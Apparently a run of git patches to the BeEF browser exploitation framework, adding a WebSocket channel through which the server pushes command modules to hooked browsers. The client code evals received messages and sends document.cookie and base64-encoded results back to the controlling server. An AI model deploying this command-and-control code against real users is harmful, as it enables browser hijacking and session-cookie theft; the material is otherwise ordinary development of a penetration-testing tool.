BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key) - end + if (command_module.path.match(/^Dynamic/)) + command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new + else + key = BeEF::Module.get_key_by_database_id(command.command_module_id) + command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key) + end - command_module.command_id = command.id - command_module.session_id = hooked_browser.session - command_module.build_datastore(command.data) - command_module.pre_send + command_module.command_id = command.id + command_module.session_id = hooked_browser.session + command_module.build_datastore(command.data) + command_module.pre_send - build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? - print_info(BeEF::Core::Websocket::Websocket.getsocket(hooked_browser)) + build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? + let= BeEF::Core::Websocket::Websocket.instance + #@todo radoen debug this one + exist= let.getsocket(hooked_browser.session) + if exist != nil - #@todo radoen debug this one - if BeEF::Core::Websocket::Websocket.getsocket(hooked_browser) + let.sent(command_module.output, hooked_browser.session) + else + @body << command_module.output + "\n\n" - BeEF::Core::Websocket::Websocket.sent(command,hooked_browser) - else - @body << command_module.output + "\n\n" + end + # @note prints the event to the console + if BeEF::Settings.console? + name = command_module.friendlyname || kclass + print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'" + end + + # @note flag that the command has been sent to the hooked browser + command.instructions_sent = true + command.save + end + + end end - # @note prints the event to the console - if BeEF::Settings.console? - name = command_module.friendlyname || kclass - print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'" - end - - # @note flag that the command has been sent to the hooked browser - command.instructions_sent = true - command.save end - end - -end -end -end end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 58f4b6665..f9453c1f9 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -16,9 +16,13 @@ module BeEF module Core module Websocket - class Websocket - #all hooked browser + require 'singleton' + class Websocket + # require 'singleton' + #include Singleton + #all hooked browser + include Singleton @@activeSocket= Hash.new #empty at begin @@ -46,7 +50,7 @@ module BeEF if(/BEEFHOOK=/.match(message)) print_info("Browser #{ws.origin} says helo! ws is running") #insert new connection in activesocket - @@activeSocket[message.split(/BEEFHOOK=/)] = ws + @@activeSocket["#{message.split(/BEEFHOOK=/)}"] = ws print_debug("In activesocket we have #{@@activeSocket}") end end From 65138db2075171c80eb23f4c18535fbc51ae484e Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Fri, 13 Apr 2012 12:45:48 +0200 Subject: [PATCH 18/33] Commands are now sent through websocket Trouble with eval function in websocket.js --- config.yaml | 2 +- core/main/client/updater.js | 2 +- core/main/client/websocket.js | 6 +++-- core/main/handlers/modules/command.rb | 26 ++++++++++++++++--- .../main/network_stack/websocket/websocket.rb | 9 ++++--- 5 files changed, 35 insertions(+), 10 deletions(-) diff --git a/config.yaml b/config.yaml index bd913a9fe..baca65fa8 100644 --- a/config.yaml +++ b/config.yaml @@ -38,7 +38,7 @@ beef: hook_session_name: "BEEFHOOK" session_cookie_name: "BEEFSESSION" websocket: - enable: false + enable: true secure: false # use WebSocketSecure port: 11989 diff --git a/core/main/client/updater.js b/core/main/client/updater.js index a3cb1e0d7..3aedee96b 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -23,7 +23,7 @@ beef.updater = { // Low timeouts combined with the way the framework sends commamd modules result // in instructions being sent repeatedly or complex code. // If you suffer from ADHD, you can decrease this setting. - timeout: 1000, + timeout: 5000, // A lock. lock: false, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 547809ebc..e0e17ec82 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -47,9 +47,11 @@ beef.websocket = { } this.socket.onmessage = function (message){ //@todo append the command to head in - console.log("We recive a message "+message.data); + console.log("We recive a message ' "+message.data+"'"); + eval("'"+message.data +"'"); - } + /*END POC*/ + } }, diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index d8d189914..e82d9b5fc 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -50,11 +50,31 @@ module BeEF build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? let= BeEF::Core::Websocket::Websocket.instance #@todo radoen debug this one - exist= let.getsocket(hooked_browser.session) - if exist != nil - let.sent(command_module.output, hooked_browser.session) + if let.getsocket(hooked_browser.session) + + funtosend=command_module.output.gsub("beef.execute(function()","") + funtosend=funtosend.gsub("});", "") + funtosend=funtosend.gsub("{", "") + funtosend=funtosend.gsub('// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +//',"") + let.sent(funtosend, hooked_browser.session) + print_info("We are sending #{funtosend}") else + print_info("not in else") @body << command_module.output + "\n\n" end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index f9453c1f9..b52b48be7 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -27,7 +27,6 @@ module BeEF def initialize - print_info("/n In activesocket we have #{@@activeSocket}") config = BeEF::Core::Configuration.instance port = config.get("beef.http.websocket.port") secure = config.get("beef.http.websocket.secure") @@ -50,7 +49,7 @@ module BeEF if(/BEEFHOOK=/.match(message)) print_info("Browser #{ws.origin} says helo! ws is running") #insert new connection in activesocket - @@activeSocket["#{message.split(/BEEFHOOK=/)}"] = ws + @@activeSocket["#{message.split(/BEEFHOOK=/)[1]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") end end @@ -60,7 +59,11 @@ module BeEF end #@note used in command.rd return nill if browser is not in list else giveback websocket def getsocket (browser_id) - @@activeSocket[browser_id] + if ( @@activeSocket[browser_id] != nil) + true + else + false + end end #@note send a function to hooked and ws browser def sent (fn ,browser_id ) From 185b1be30f759b257c6cef46e7c70ce40d3296ad Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Fri, 13 Apr 2012 13:35:29 +0100 Subject: [PATCH 19/33] Fixed issue with command execution. Now commands are executed correctly via WebSocket. --- core/main/client/beef.js | 10 +++++--- core/main/client/websocket.js | 5 ++-- core/main/handlers/modules/command.rb | 36 ++++++++++++--------------- 3 files changed, 24 insertions(+), 27 deletions(-) diff --git a/core/main/client/beef.js b/core/main/client/beef.js index c0392d5ba..7c5ad15b0 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -48,11 +48,13 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {Function} the function to execute. */ execute: function(fn) { - if ( typeof beef.websocket == "undefined") + if ( typeof beef.websocket == "undefined"){ + console.log("--- NO WEBSOCKETS ---"); this.commands.push(fn); - else - beef.websocket.send(fn); - + }else{ + console.log("--- WEBSOCKETS ENABLED ---"); + fn(); + } }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index e0e17ec82..8b3858c63 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -46,9 +46,8 @@ beef.websocket = { console.log("Connected and Helo"); } this.socket.onmessage = function (message){ - //@todo append the command to head in - console.log("We recive a message ' "+message.data+"'"); - eval("'"+message.data +"'"); + console.log("Received message via WS."); + eval(message.data); /*END POC*/ } diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index e82d9b5fc..429a3d3ef 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -52,27 +52,23 @@ module BeEF #@todo radoen debug this one if let.getsocket(hooked_browser.session) - - funtosend=command_module.output.gsub("beef.execute(function()","") - funtosend=funtosend.gsub("});", "") - funtosend=funtosend.gsub("{", "") - funtosend=funtosend.gsub('// -// Copyright 2012 Wade Alcorn wade@bindshell.net -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -//',"") + funtosend=command_module.output.gsub('// + // Copyright 2012 Wade Alcorn wade@bindshell.net + // + // Licensed under the Apache License, Version 2.0 (the "License"); + // you may not use this file except in compliance with the License. + // You may obtain a copy of the License at + // + // http://www.apache.org/licenses/LICENSE-2.0 + // + // Unless required by applicable law or agreed to in writing, software + // distributed under the License is distributed on an "AS IS" BASIS, + // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + // See the License for the specific language governing permissions and + // limitations under the License. + //',"") let.sent(funtosend, hooked_browser.session) - print_info("We are sending #{funtosend}") + #print_info("We are sending #{funtosend}") else print_info("not in else") @body << command_module.output + "\n\n" From 2755c6449c20b94e7322193a529781438fd03da0 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Sat, 14 Apr 2012 19:42:53 +0200 Subject: [PATCH 20/33] Deleted some stuff that does not work correctly in old browser (IE 8) Better check for FF Cleand up inside the code --- core/main/client/beef.js | 4 +--- core/main/client/net.js | 6 +----- core/main/client/websocket.js | 6 ++---- core/main/network_stack/websocket/websocket.rb | 4 +--- 4 files changed, 5 insertions(+), 15 deletions(-) diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 7c5ad15b0..b580c936c 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -49,10 +49,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { */ execute: function(fn) { if ( typeof beef.websocket == "undefined"){ - console.log("--- NO WEBSOCKETS ---"); - this.commands.push(fn); + this.commands.push(fn); }else{ - console.log("--- WEBSOCKETS ENABLED ---"); fn(); } }, diff --git a/core/main/client/net.js b/core/main/client/net.js index d72f3f8d8..03d2bace3 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -87,13 +87,9 @@ beef.net = { //Queues the current command and flushes the queue straight away send: function(handler, cid, results, callback) { - // if ( typeof beef.websocket == "undefined"){ this.queue(handler, cid, results, callback); this.flush(); - //} - // else - // beef.websocket.send(results); - }, + }, //Flush all currently queued commands to the framework flush: function() { diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 8b3858c63..7c8039d70 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -24,8 +24,8 @@ beef.websocket = { init:function () { var webSocketServer = beef.net.host; var webSocketPort = 11989; - //@todo ceck if we have to use wss or ws we need a globalvalue - if (beef.browser.isFF() && ! beef.browser.isFF11) { + + if (beef.browser.isFF() && !!window.MozWebSocket) { beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); } else{ @@ -48,8 +48,6 @@ beef.websocket = { this.socket.onmessage = function (message){ console.log("Received message via WS."); eval(message.data); - - /*END POC*/ } }, diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index b52b48be7..60eeb67f8 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -25,7 +25,6 @@ module BeEF include Singleton @@activeSocket= Hash.new #empty at begin - def initialize config = BeEF::Core::Configuration.instance port = config.get("beef.http.websocket.port") @@ -37,8 +36,7 @@ module BeEF Thread.new { server.run() do |ws| - #@TODO debug print the path and who request for hooked browser mapping - print_info("Path requested #{ws.path} Origins #{ws.origin}") + print_debug("Path requested #{ws.path} Origins #{ws.origin}") if ws.path == "/" ws.handshake() #accept and connect From 656262c0f498f0fb126b8f375cef1cdebaa10257 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Wed, 18 Apr 2012 12:00:17 +0200 Subject: [PATCH 21/33] Basic response recv system implemented todo ping-pong for alive host. thread's content is in websocket.rb todo setting up a separate handler for via ws answer's --- core/main/client/net.js | 160 ++++++++-------- core/main/client/websocket.js | 11 +- core/main/handlers/commands.rb | 127 ++++++------- core/main/handlers/modules/command.rb | 3 +- .../handlers/dynamicreconstruction.rb | 179 +++++++++--------- .../main/network_stack/websocket/websocket.rb | 65 +++++-- 6 files changed, 298 insertions(+), 247 deletions(-) diff --git a/core/main/client/net.js b/core/main/client/net.js index 03d2bace3..40490c50f 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -20,17 +20,17 @@ */ beef.net = { - host: "<%= @beef_host %>", - port: "<%= @beef_port %>", - hook: "<%= @beef_hook %>", - handler: '/dh', - chop: 500, - pad: 30, //this is the amount of padding for extra params such as pc, pid and sid - sid_count: 0, - cmd_queue: [], + host:"<%= @beef_host %>", + port:"<%= @beef_port %>", + hook:"<%= @beef_hook %>", + handler:'/dh', + chop:500, + pad:30, //this is the amount of padding for extra params such as pc, pid and sid + sid_count:0, + cmd_queue:[], //Command object - command: function() { + command:function () { this.cid = null; this.results = null; this.handler = null; @@ -38,20 +38,20 @@ beef.net = { }, //Packet object - packet: function() { + packet:function () { this.id = null; this.data = null; }, //Stream object - stream: function() { + stream:function () { this.id = null; this.packets = []; this.pc = 0; - this.get_base_url_length = function() { + this.get_base_url_length = function () { return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length; }, - this.get_packet_data = function() { + this.get_packet_data = function () { var p = this.packets.shift(); return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data } }; @@ -61,7 +61,7 @@ beef.net = { * Response Object - used in the beef.net.request callback * Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated. */ - response: function() { + response:function () { this.status_code = null; // 500, 404, 200, 302 this.status_text = null; // success, timeout, error, ... this.response_body = null; // "โ€ฆ." if not a cross domain request @@ -73,7 +73,7 @@ beef.net = { }, //Queues the command, to be sent back to the framework on the next refresh - queue: function(handler, cid, results, callback) { + queue:function (handler, cid, results, callback) { if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) { var s = new beef.net.command(); s.cid = cid; @@ -85,14 +85,26 @@ beef.net = { }, //Queues the current command and flushes the queue straight away - send: function(handler, cid, results, callback) { - - this.queue(handler, cid, results, callback); - this.flush(); - }, + send:function (handler, cid, results, callback) { + if (typeof beef.websocket === "undefined") { + this.queue(handler, cid, results, callback); + this.flush(); + } + else { + try { + beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + document.cookie.split("BEEFHOOK=")[1] + '" }'); + } + catch (e) { + //todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed + this.queue(handler, cid, results, callback); + this.flush(); + console.log("error in send " + e); + } + } + }, //Flush all currently queued commands to the framework - flush: function() { + flush:function () { if (this.cmd_queue.length > 0) { var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue)); this.cmd_queue.length = 0; @@ -116,13 +128,13 @@ beef.net = { }, //Split string into chunk lengths determined by amount - chunk: function(str, amount) { + chunk:function (str, amount) { if (typeof amount == 'undefined') n = 2; return str.match(RegExp('.{1,' + amount + '}', 'g')); }, //Push packets to framework - push: function(stream) { + push:function (stream) { //need to implement wait feature here eventually for (var i = 0; i < stream.pc; i++) { this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null); @@ -144,20 +156,20 @@ beef.net = { * * @return: {Object} response: this object contains the response details */ - request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { + request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) { //check if same domain or cross domain var cross_domain = true; - if (document.domain == domain){ - if(document.location.port == "" || document.location.port == null){ + if (document.domain == domain) { + if (document.location.port == "" || document.location.port == null) { cross_domain = !(port == "80" || port == "443"); } } //build the url var url = ""; - if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){ + if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) { url = path; - }else{ + } else { url = scheme + "://" + domain; url = (port != null) ? url + ":" + port : url; url = (path != null) ? url + path : url; @@ -173,30 +185,30 @@ beef.net = { * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script': * This will turn POSTs into GETs for remote-domain requests. */ - if (method == "POST"){ - $j.ajaxSetup({ - dataType: dataType - }); - }else{ //GET, HEAD, ... - $j.ajaxSetup({ - dataType: 'script' - }); + if (method == "POST") { + $j.ajaxSetup({ + dataType:dataType + }); + } else { //GET, HEAD, ... + $j.ajaxSetup({ + dataType:'script' + }); } //build and execute the request - $j.ajax({type: method, - url: url, - data: data, - timeout: (timeout * 1000), + $j.ajax({type:method, + url:url, + data:data, + timeout:(timeout * 1000), //needed otherwise jQuery always add Content-type: application/xml, even if data is populated - beforeSend: function(xhr) { - if(method == "POST"){ + beforeSend:function (xhr) { + if (method == "POST") { xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); } }, - success: function(data, textStatus, xhr) { + success:function (data, textStatus, xhr) { var end_time = new Date().getTime(); response.status_code = xhr.status; response.status_text = textStatus; @@ -205,14 +217,14 @@ beef.net = { response.was_timedout = false; response.duration = (end_time - start_time); }, - error: function(jqXHR, textStatus, errorThrown) { + error:function (jqXHR, textStatus, errorThrown) { var end_time = new Date().getTime(); response.response_body = jqXHR.responseText; response.status_code = jqXHR.status; response.status_text = textStatus; response.duration = (end_time - start_time); }, - complete: function(jqXHR, textStatus) { + complete:function (jqXHR, textStatus) { response.status_code = jqXHR.status; response.status_text = textStatus; response.headers = jqXHR.getAllResponseHeaders(); @@ -227,11 +239,11 @@ beef.net = { response.port_status = "open"; } } - }).done(function() { - if (callback != null) { - callback(response); - } - }); + }).done(function () { + if (callback != null) { + callback(response); + } + }); return response; }, @@ -240,16 +252,16 @@ beef.net = { * - requestid: needed on the callback * - allowCrossDomain: set cross-domain requests as allowed or blocked */ - forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) { + forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) { // check if same domain or cross domain var cross_domain = true; if (document.domain == domain) { - if(document.location.port == "" || document.location.port == null){ - cross_domain = !(port == "80" || port == "443"); - } else { - if (document.location.port == port) cross_domain = false; - } + if (document.location.port == "" || document.location.port == null) { + cross_domain = !(port == "80" || port == "443"); + } else { + if (document.location.port == port) cross_domain = false; + } } // build the url @@ -275,35 +287,35 @@ beef.net = { response.status_text = "crossdomain"; response.port_status = "crossdomain"; response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n"; - response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; + response.headers = "ERROR: Cross Domain Request. The request was not sent.\n"; callback(response, requestid); return response; } // build and execute the request - if (method == "POST"){ - $j.ajaxSetup({ - data: data - }); + if (method == "POST") { + $j.ajaxSetup({ + data:data + }); } - $j.ajax({type: method, - dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server - url: url, - headers: headers, - timeout: (timeout * 1000), + $j.ajax({type:method, + dataType:'script', // this is required for bugs in IE so data can be transfered back to the server + url:url, + headers:headers, + timeout:(timeout * 1000), // needed otherwise jQuery always adds: // Content-type: application/xml // even if data is populated - beforeSend: function(xhr) { + beforeSend:function (xhr) { if (method == "POST") { - xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); + xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8"); } }, // http server responded successfully - success: function(data, textStatus, xhr) { + success:function (data, textStatus, xhr) { var end_time = new Date().getTime(); response.status_code = xhr.status; response.status_text = textStatus; @@ -314,7 +326,7 @@ beef.net = { // server responded with a http error (403, 404, 500, etc) // or server is not a http server - error: function(xhr, textStatus, errorThrown) { + error:function (xhr, textStatus, errorThrown) { var end_time = new Date().getTime(); response.response_body = xhr.responseText; response.status_code = xhr.status; @@ -322,7 +334,7 @@ beef.net = { response.duration = (end_time - start_time); }, - complete: function(xhr, textStatus) { + complete:function (xhr, textStatus) { // cross-domain request if (cross_domain) { response.status_code = -1; @@ -355,7 +367,7 @@ beef.net = { //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {} //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/ - clean: function(r) { + clean:function (r) { if (this.array_has_string_key(r)) { var obj = {}; for (var key in r) @@ -366,7 +378,7 @@ beef.net = { }, //Detects if an array has a string key - array_has_string_key: function(arr) { + array_has_string_key:function (arr) { if ($j.isArray(arr)) { try { for (var key in arr) @@ -378,7 +390,7 @@ beef.net = { }, //Sends back browser details to framework - browser_details: function() { + browser_details:function () { var details = beef.browser.getDetails(); details['HookSessionID'] = beef.session.get_hook_session_id(); this.send('/init', 0, details); diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 7c8039d70..66f26ab7b 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -28,7 +28,7 @@ beef.websocket = { if (beef.browser.isFF() && !!window.MozWebSocket) { beef.websocket.socket = new MozWebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); - } else{ + } else { beef.websocket.socket = new WebSocket("ws://" + webSocketServer + ":" + webSocketPort + "/"); } @@ -42,18 +42,19 @@ beef.websocket = { console.log("Socket has been opened!"); /*send browser id*/ - beef.websocket.send(document.cookie); + beef.websocket.send('{"cookie":"' + document.cookie + '"}'); console.log("Connected and Helo"); } - this.socket.onmessage = function (message){ + this.socket.onmessage = function (message) { console.log("Received message via WS."); + //todo check message and send pong if ping req eval(message.data); - } + } }, send:function (data) { - this.socket.send(data); + this.socket.send(data); console.log("Sent [" + data + "]"); } diff --git a/core/main/handlers/commands.rb b/core/main/handlers/commands.rb index 4aa8de08a..b96f45c6f 100644 --- a/core/main/handlers/commands.rb +++ b/core/main/handlers/commands.rb @@ -14,79 +14,78 @@ # limitations under the License. # module BeEF -module Core -module Handlers - - class Commands - - include BeEF::Core::Handlers::Modules::BeEFJS - include BeEF::Core::Handlers::Modules::Command - - @data = {} - - # Handles command data - # @param [Hash] data Data from command execution - # @param [Class] kclass Class of command - # @todo Confirm argument data variable type. - def initialize(data, kclass) - @kclass = BeEF::Core::Command.const_get(kclass.capitalize) - @data = data - setup() - end - - # Initial setup function, creates the command module and saves details to datastore - def setup() + module Core + module Handlers + + class Commands + + include BeEF::Core::Handlers::Modules::BeEFJS + include BeEF::Core::Handlers::Modules::Command + + @data = {} + + # Handles command data + # @param [Hash] data Data from command execution + # @param [Class] kclass Class of command + # @todo Confirm argument data variable type [radoen]: type is Hash confirmed. + def initialize(data, kclass) + @kclass = BeEF::Core::Command.const_get(kclass.capitalize) + @data = data + setup() + end + + # Initial setup function, creates the command module and saves details to datastore + def setup() - @http_params = @data['request'].params - @http_header = Hash.new - http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'} - .each {|key,value| - @http_header[key.sub(/^HTTP_/, '')] = value - } + @http_params = @data['request'].params + @http_header = Hash.new + http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }.each { |key, value| + @http_header[key.sub(/^HTTP_/, '')] = value + } - # @note get and check command id from the request - command_id = get_param(@data, 'cid') - # @todo ruby filter needs to be updated to detect fixnums not strings - command_id = command_id.to_s() - (print_error "command_id is invalid";return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s()) + # @note get and check command id from the request + command_id = get_param(@data, 'cid') + # @todo ruby filter needs to be updated to detect fixnums not strings + command_id = command_id.to_s() + (print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(command_id.to_s()) - # @note get and check session id from the request - beefhook = get_param(@data, 'beefhook') - (print_error "BeEFhook is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) + # @note get and check session id from the request + beefhook = get_param(@data, 'beefhook') + (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook) - result = get_param(@data, 'results') + result = get_param(@data, 'results') + + # @note create the command module to handle the response + command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) + command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook) + command.session_id = beefhook + if command.respond_to?(:post_execute) + command.post_execute + end + #@todo this is the part that store result on db and the modify will be accessible from all the framework and so UI too + # @note get/set details for datastore and log entry + command_friendly_name = command.friendlyname + (print_error "command friendly name is empty"; return) if command_friendly_name.empty? + command_results = get_param(@data, 'results') + (print_error "command results are empty"; return) if command_results.empty? + # @note save the command module results to the datastore and create a log entry + command_results = {'data' => command_results} + BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) + + end + + # Returns parameter from hash + # @param [Hash] query Hash of data to return data from + # @param [String] key Key to search for and return inside `query` + # @return Value referenced in hash at the supplied key + def get_param(query, key) + return (query.class == Hash and query.has_key?(key)) ? query[key] : nil + end - # @note create the command module to handle the response - command = @kclass.new(BeEF::Module.get_key_by_class(@kclass)) - command.build_callback_datastore(@http_params, @http_header, result, command_id, beefhook) - command.session_id = beefhook - if command.respond_to?(:post_execute) - command.post_execute end - # @note get/set details for datastore and log entry - command_friendly_name = command.friendlyname - (print_error "command friendly name is empty";return) if command_friendly_name.empty? - command_results = get_param(@data, 'results') - (print_error "command results are empty";return) if command_results.empty? - # @note save the command module results to the datastore and create a log entry - command_results = {'data' => command_results} - BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) end - - # Returns parameter from hash - # @param [Hash] query Hash of data to return data from - # @param [String] key Key to search for and return inside `query` - # @return Value referenced in hash at the supplied key - def get_param(query, key) - return (query.class == Hash and query.has_key?(key)) ? query[key] : nil - end - end - - -end -end end diff --git a/core/main/handlers/modules/command.rb b/core/main/handlers/modules/command.rb index 429a3d3ef..62d881378 100644 --- a/core/main/handlers/modules/command.rb +++ b/core/main/handlers/modules/command.rb @@ -66,11 +66,10 @@ module BeEF // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. - //',"") + //', "") let.sent(funtosend, hooked_browser.session) #print_info("We are sending #{funtosend}") else - print_info("not in else") @body << command_module.output + "\n\n" end diff --git a/core/main/network_stack/handlers/dynamicreconstruction.rb b/core/main/network_stack/handlers/dynamicreconstruction.rb index 1813212ef..bcb25270c 100644 --- a/core/main/network_stack/handlers/dynamicreconstruction.rb +++ b/core/main/network_stack/handlers/dynamicreconstruction.rb @@ -14,118 +14,119 @@ # limitations under the License. # module BeEF -module Core -module NetworkStack -module Handlers - - # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser - class DynamicReconstruction < BeEF::Core::Router::Router + module Core + module NetworkStack + module Handlers - # @note holds packet queue - PQ = Array.new() + # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser + class DynamicReconstruction < BeEF::Core::Router::Router - # @note obtain dynamic mount points from HttpHookServer - MOUNTS = BeEF::Core::Server.instance.mounts + # @note holds packet queue + PQ = Array.new() - before do - error 404 unless !params.empty? - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0' - end + # @note obtain dynamic mount points from HttpHookServer + MOUNTS = BeEF::Core::Server.instance.mounts - # Combines packet information and pushes to PQ (packet queue), then checks packets - get '/' do - headers 'Pragma' => 'no-cache', - 'Cache-Control' => 'no-cache', - 'Expires' => '0', - 'Content-Type' => 'text/javascript', - 'Access-Control-Allow-Origin' => '*', - 'Access-Control-Allow-Methods' => 'POST, GET' + before do + error 404 unless !params.empty? + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0' + end - PQ << { - :beefhook => params[:bh], - :stream_id => Integer(params[:sid]), - :packet_id => Integer(params[:pid]), - :packet_count => Integer(params[:pc]), - :data => params[:d] - } + # Combines packet information and pushes to PQ (packet queue), then checks packets + get '/' do + headers 'Pragma' => 'no-cache', + 'Cache-Control' => 'no-cache', + 'Expires' => '0', + 'Content-Type' => 'text/javascript', + 'Access-Control-Allow-Origin' => '*', + 'Access-Control-Allow-Methods' => 'POST, GET' - Thread.new { - check_packets() - } - end + PQ << { + :beefhook => params[:bh], + :stream_id => Integer(params[:sid]), + :packet_id => Integer(params[:pid]), + :packet_count => Integer(params[:pc]), + :data => params[:d] + } - # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets - def check_packets() - checked = Array.new() - PQ.each do |packet| - if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) + Thread.new { + check_packets() + } + end + + # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets + def check_packets() + checked = Array.new() + PQ.each do |packet| + if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) next - end - checked << packet[:beefhook]+':'+String(packet[:stream_id]) - pc = 0 - PQ.each do |p| + end + checked << packet[:beefhook]+':'+String(packet[:stream_id]) + pc = 0 + PQ.each do |p| if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]) - pc += 1 + pc += 1 end - end - if (packet[:packet_count] == pc) + end + if (packet[:packet_count] == pc) packets = expunge(packet[:beefhook], packet[:stream_id]) data = '' - packets.each_with_index do |sp,i| - if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) - data += sp[:data] - end + packets.each_with_index do |sp, i| + if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) + data += sp[:data] + end end - b64 = Base64.decode64(data) + b64 = 